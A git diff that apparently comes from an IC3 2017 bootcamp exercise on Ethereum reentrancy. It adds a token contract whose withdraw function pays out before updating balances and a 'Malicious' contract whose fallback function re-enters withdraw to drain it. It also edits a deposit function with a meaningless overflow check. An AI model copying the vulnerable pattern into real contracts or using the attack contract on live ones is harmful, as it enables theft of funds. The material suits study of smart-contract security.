diff --git a/brlewi/IC3Token.sol b/brlewi/IC3Token.sol
index 9c6cace..b598625 100644
--- a/brlewi/IC3Token.sol
+++ b/brlewi/IC3Token.sol
@@ -94,9 +94,18 @@ contract IC3Token
     //functions from whiteboard
     function deposit() payable returns (bool result)
     {
-        totalTokens += msg.value;
-        balances[msg.sender] += msg.value;
-        result = true;
+        total = msg.value;
+        if(total < msg.value)
+        {
+            msg.sender.transfer(msg.value);
+            result = false;
+        }
+        else
+        {
+            totalTokens += msg.value;
+            balances[msg.sender] += msg.value;
+            result = true;
+        }
     }
 
     function withdraw(uint256 _amount) returns (bool result)
diff --git a/brlewi/Malicious.sol b/brlewi/Malicious.sol
new file mode 100644
index 0000000..d32c217
--- /dev/null
+++ b/brlewi/Malicious.sol
@@ -0,0 +1,34 @@
+pragma solidity ^0.4.8;
+
+import "./vulnerable.sol";
+
+contract Malicious 
+{
+    address vulnerableContractAddress = 0x858cc012c8d43313bfcb2357d195b434982fad61;
+    uint x = 0;
+    TestToken vulnerable = TestToken(vulnerableContractAddress);
+    
+    function () payable
+    {
+        TestToken(vulnerableContractAddress).withdraw(.007 ether);
+    }
+
+    function buyIC3Token() 
+    {
+        vulnerableContractAddress.call.value(msg.value)(bytes4(sha3("deposit()")));
+    }
+    
+    function fundAttacker() payable 
+    {
+        
+    }
+
+    function transfer()
+    {
+        TestToken(vulnerableContractAddress).balanceOf(this);
+    }
+    function attack() payable
+    {
+        TestToken(vulnerableContractAddress).withdraw(.007 ether);
+    }
+}
diff --git a/brlewi/vulnerable.sol b/brlewi/vulnerable.sol
new file mode 100644
index 0000000..45e0da5
--- /dev/null
+++ b/brlewi/vulnerable.sol
@@ -0,0 +1,82 @@
+pragma solidity^0.4.0;
+
+contract TestToken {
+    string constant name = "IC3 2017 Bootcamp Token";
+    string constant symbol = "IC3";
+    uint8 constant decimals = 18;
+    uint total;
+
+    struct Allowed {
+        mapping (address => uint256) _allowed;
+    }
+
+    mapping (address => Allowed) allowed;
+    mapping (address => uint256) balances;
+
+    event Transfer(address indexed _from, address indexed _to, uint256 _value);
+    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
+
+    function TestToken() {
+        total = 0;
+    }
+
+    function totalSupply() constant returns (uint256 totalSupply) {
+        return total;
+    }
+
+    function balanceOf(address _owner) constant returns (uint256 balance) {
+        return balances[_owner];
+    }
+
+    function deposit() payable returns (bool success) {
+        if (balances[msg.sender] + msg.value < msg.value) return false;
+        if (total + msg.value < msg.value) return false;
+        balances[msg.sender] += msg.value;
+        total += msg.value;
+        return true;
+    }
+
+    function withdraw(uint256 _value) payable returns (bool success) {
+        if (balances[msg.sender] < _value) return false;
+        msg.sender.call.value(_value);
+        balances[msg.sender] -= _value;
+        total -= _value;
+        return true;
+    }
+
+    function transfer(address _to, uint256 _value) returns (bool success) {
+        if (balances[msg.sender] < _value) return false;
+
+        if (balances[_to] + _value < _value) return false;
+        balances[msg.sender] -= _value;
+        balances[_to] += _value;
+
+        Transfer(msg.sender, _to, _value);
+       
+        return true;
+    } 
+
+
+    function approve(address _spender, uint256 _value) returns (bool success) {
+        allowed[msg.sender]._allowed[_spender] = _value; 
+        Approval(msg.sender, _spender, _value);
+        return true;    
+    }
+
+    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
+        return allowed[_owner]._allowed[_spender];
+    }
+
+    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
+        if (balances[_from] < _value) return false;
+        if ( allowed[_from]._allowed[msg.sender] < _value) return false;
+        if (balances[_to] + _value < _value) return false;
+
+        balances[_from] -= _value;
+        balances[_to] += _value;
+        allowed[_from]._allowed[msg.sender] -= _value;
+        return true;
+    }
+
+}
+